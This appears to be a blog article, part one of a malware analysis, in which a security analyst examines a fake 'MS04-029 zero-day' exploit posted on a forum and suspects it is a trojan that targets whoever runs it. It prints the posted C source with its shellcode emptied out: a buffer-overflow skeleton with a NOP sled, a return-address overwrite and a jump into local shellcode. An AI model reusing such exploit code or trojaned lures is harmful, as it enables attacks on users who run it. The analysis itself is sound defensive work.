Social Engineering meets the Bot (Part 1)

In an effort to embellish upon the rather cryptic title of this article allow me to give you a bit of background. About a week or so ago a new user on made a post claiming to have new 0 day code for MS04-029, and posted links to download it. This new member also made claims that this code would allow the attacker to obtain a command shell on the victim box as well. Sexy stuff indeed as obtaining a command shell on a remote computer is the ultimate goal of the hacker in most cases. Problem here was that I seemed to remember that if an attack using the exploit code for MS04-029 was successful it would only result in a DoS condition. In addition some parts of active memory could be read. What I did not remember reading about this exploit was that it would give an attacker a shell on the victim’s computer. At this point I was beginning to smell a rat. It would not be the first time that a hacker had tried to social engineer his way into a machine. After all, the weakest link has always been the human interface.

 A little blurb about me

A little bit of background here about myself first, which won’t take much more then a line or two. Knowing a bit more about me may help you understand the actions I took. I am presently employed as a network security analyst, and have been for the past several years. I specialize in intrusion detection, incident handling, and enjoy playing with malware. During the course of my employment I have learned how to properly, and more importantly safely analyze malware. To that end I would highly encourage you to do as I have done, and play with malware. Only do so though in a controlled lab environment. My lab environment will be detailed a little later on in this article, as well as the steps I took during my cursory analysis.

Setting up a safe lab environment

A rather crucial step in analyzing malware is doing so on an isolated network. By that I mean the last thing you want to do is actually infect a corporate, or home computer during the course of your analysis. Personally I normally use two laptops to do analysis when it comes to any form of malware, or exploit code. Using laptops is beneficial as I find they have the smallest foot print on my computer desk, and I can easily connect the two of them together. Doing things this way also ensures that in no way will you be able to unintentionally infect a computer, or network. Normally I will simply do a peer to peer connection via a CAT 5 roll over cable, or use a spare hub to give the two laptops a means of talking to each other. Bottom line here is that the two lab computers must be able to see each other. Once these machines are hooked up I confirm connectivity via a simple ICMP echo request, or ping as most people know it.

Noted below in the screenshot is the output of ipconfig on my soon to be infected laptop. This one has a gateway as I want it to be able to “call home” as it were. Without the gateway it would not be able to access the internet, and by extension I would not be able to see how the laptop will act once infected. Due to the nature of this exploit I want it to be able to access the internet. The majority of the time though I do not want the exploit to be able to access the web though, which is why a peer to peer connection is used with no gateways entered on either machine.

Most every exploit, or piece of malware out there depends on a certain set of criteria for it to work. What is meant by that is there was not a firewall or anti-virus software in place, and possibly the user did not have a vendor patch installed. So when I set up for a new analysis I simply do not have a firewall and anti-virus product running. The same can be said for a specific vendor patch if I am looking at an exploit.

Game on!

Now that we have set up a safe environment to work in we can go ahead and take a look at the exploit, or in this case suspected malware. The poster who put this up on the forum had included links to the exploit code. I went ahead and download it, and noticed it was done via HTTPS. This server also had an invalid certificate, which I ignored. Once I had downloaded this to my thumb drive I transferred it over to my lab machine.

There are several tools that I will use here in the following analysis. At this time please go and download the following; hex2.exe and a hex editor of your choice. It bears mentioning at this point that I was doing this work in a linux environment. I used a linux distribution because some of the included files listed in the exploit code were linux based. There is still a way of doing this in a strict win32 system, but you would need to install Cygwin. I personally don’t care for Cygwin, which is why I use both win32 and Linux operating systems. The two earlier above noted tools that you need to download will be used, but specifically hex2.exe will be. I have included the source code that I downloaded from the poster below. Please note though that I have not included any of the header files. This was done for legal issues as I do not wish to be held responsible should anybody have problems playing with the actual code. With this in mind please be aware that the below noted code will not compile. I have though included it for analysis purposes.

Exploit code

char shellcode[] =

char *shellcode_payload=

#define SHELL_LEN (sizeof(shellcode_payload)-1)

int main(int argc, char **argv) {
      int *ret;
      FILE *f;
      char *pre_payload = (shellcode_payload+593);
      int die=0;
      int x = 0, len = 0;
      char *buf;
      long    retaddr = 0, align = ALIGN;

            printf(“*** MaxLoad (windows rpc exploit) v.1 ***\n”);
            printf(“For educational propose only!\n\n”);
            printf(“error: you must enter a valid ip\n”);
            printf(“usage:%s [IP-ADDRESS]\n”,argv[0]);
            printf(“e.g: %s\n\n”,argv[0]);


      ret = (int *)&ret + 2;
      (*ret) = (int)shellcode;

      if(!die) {

            if(sscanf(argv[1], “%lx”, &retaddr) != 1)
                  die(“error in ip address: sscanf”);
            if(argc > 2)
                  align = atoi(argv[2]);
            if(align < 0 || align > 3)
                  die(“error: alignment could not be done”);

            strncpy(buf, “://[“, 4);
            len += 4;
            memset(buf+len, NOP, NNOPS);
            len += NNOPS;
            memcpy(buf+len, shellcode_payload, SHELL_LEN);
            len += SHELL_LEN;

            len += align;
            for(x = 0; x < 2000 – (sizeof(retaddr) – 1); x += sizeof(retaddr))
                    memcpy(buf+len+x, &retaddr, sizeof(retaddr));
            buf[len+x] = ‘]’;
            buf[len+x+1] = 0;

            printf(“*** MaxLoad (windows rpc exploit) v.1 ***\n”);
            printf(“For educational propose only!\n\n”);
            printf(“Successfully send payload!\nTry connect to %s port 31337\n\n”,argv[1]);


return 0;


Something odd here

If you recall I said the person who posted the links to the exploit code in the forum claimed that this 0 day exploit would give the attacker a command shell on the victim’s machine. Problem is though that there is a glaring problem with the above noted code if this is indeed true. We are nearing the breakpoint for the first article so I would highly encourage you to read the following document. If you are finding this reading a little heavy then quickly skip towards the end of the document. This is where the crux of the matter rests as to why the above noted code makes me suspicious. Should you still have some problems understanding what is meant in the link noted above do some quick googling for “system calls”. In part two of this article I will answer why the above code is suspicious, and further more begin analysis. See you in a bit!

Leave a Comment

Your email address will not be published.

Scroll to Top